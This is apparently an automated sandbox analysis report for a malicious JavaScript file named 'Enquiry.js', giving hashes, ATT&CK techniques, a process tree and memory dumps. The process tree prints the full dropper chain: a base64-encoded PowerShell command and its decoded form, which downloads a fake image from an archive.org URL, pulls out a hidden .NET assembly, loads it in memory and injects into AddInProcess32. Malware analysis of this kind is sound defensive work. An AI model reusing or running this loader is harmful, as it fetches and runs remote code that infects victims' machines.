821b835cf408ed1749ad5723447b414e84cf453af621230e3dcb01f7be6a2495

General

Target

Enquiry.js
Size

600KB
MD5

e4ebbd53baeef25a609ca99d02597894
SHA1

2e58262341e25658a58998e0e5e777b945794d3f
SHA256

821b835cf408ed1749ad5723447b414e84cf453af621230e3dcb01f7be6a2495
SHA512

47188f531a25376b0d9c5067f456099eb769b44a1a7600c0d174bff541efc53054b88905be310f4bdcf0cc69707185e066ab1e51cafe2b0ad332e2ef512f6e6a
SSDEEP

12288:qlOnKcIIFOk6bVv2YpLuqACRkfJjdiHUTYmjikyFGjVxleUYt5SvXEdq9GAnXPof:8nuVOkeoiNX+Wf

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

exe.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2704	powershell.exe
6	2704	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2540	powershell.exe
2704	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2540	powershell.exe
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2540	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 2540	2564	wscript.exe	29
PID 2564 wrote to memory of 2540	2564	wscript.exe	29
PID 2564 wrote to memory of 2540	2564	wscript.exe	29
PID 2540 wrote to memory of 2704	2540	powershell.exe	31
PID 2540 wrote to memory of 2704	2540	powershell.exe	31
PID 2540 wrote to memory of 2704	2540	powershell.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Enquiry.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQBhADYAMAAxADYAMAA2AC4AdQBzAC4AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AMQAwAC8AaQB0AGUAbQBzAC8AZABlAGEAdABoAG4AbwB0AGUAXwAyADAAMgA0ADAANwAvAGQAZQBhAHQAaABuAG8AdABlAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQAnACkAOwAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAGEAbgBhAGIAbwAvAHYAZQBkAC4AMgByAC4AMwA5AGIAMwA0ADUAMwAwADIAYQAwADcANQBiADEAYgBjADAAZAA0ADUAYgA2ADMAMgBlAGIAOQBlAGUANgAyAC0AYgB1AHAALwAvADoAcwBwAHQAdABoACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcALAAnAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgAnACwAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAKQApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.anabo/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e227d736770c306db64ba1543959fc88

SHA1
d05e8471dd9852c6f6130f776ad078435de7e718

SHA256
42b210aad5ce3d0ece2d5b8a19d9e8f2e239081bbaced23b7c9f9506a2504731

SHA512
2f3546029a39e428e2419b51118809e1af302acaac9b0bab537119b092066a087e670be5d84b4fe1ba129867ee36a65496f4551e4c4ecf599c37178484e970c2

Download Submit
memory/2540-4-0x000007FEF650E000-0x000007FEF650F000-memory.dmp

Filesize
4KB

Download
memory/2540-5-0x000007FEF6250000-0x000007FEF6BED000-memory.dmp

Filesize
9.6MB

Download
memory/2540-6-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/2540-7-0x0000000002560000-0x0000000002568000-memory.dmp

Filesize
32KB

Download
memory/2540-8-0x000007FEF6250000-0x000007FEF6BED000-memory.dmp

Filesize
9.6MB

Download
memory/2540-9-0x000007FEF6250000-0x000007FEF6BED000-memory.dmp

Filesize
9.6MB

Download
memory/2540-15-0x000007FEF650E000-0x000007FEF650F000-memory.dmp

Filesize
4KB

Download
memory/2540-16-0x000007FEF6250000-0x000007FEF6BED000-memory.dmp

Filesize
9.6MB

Download

Analysis

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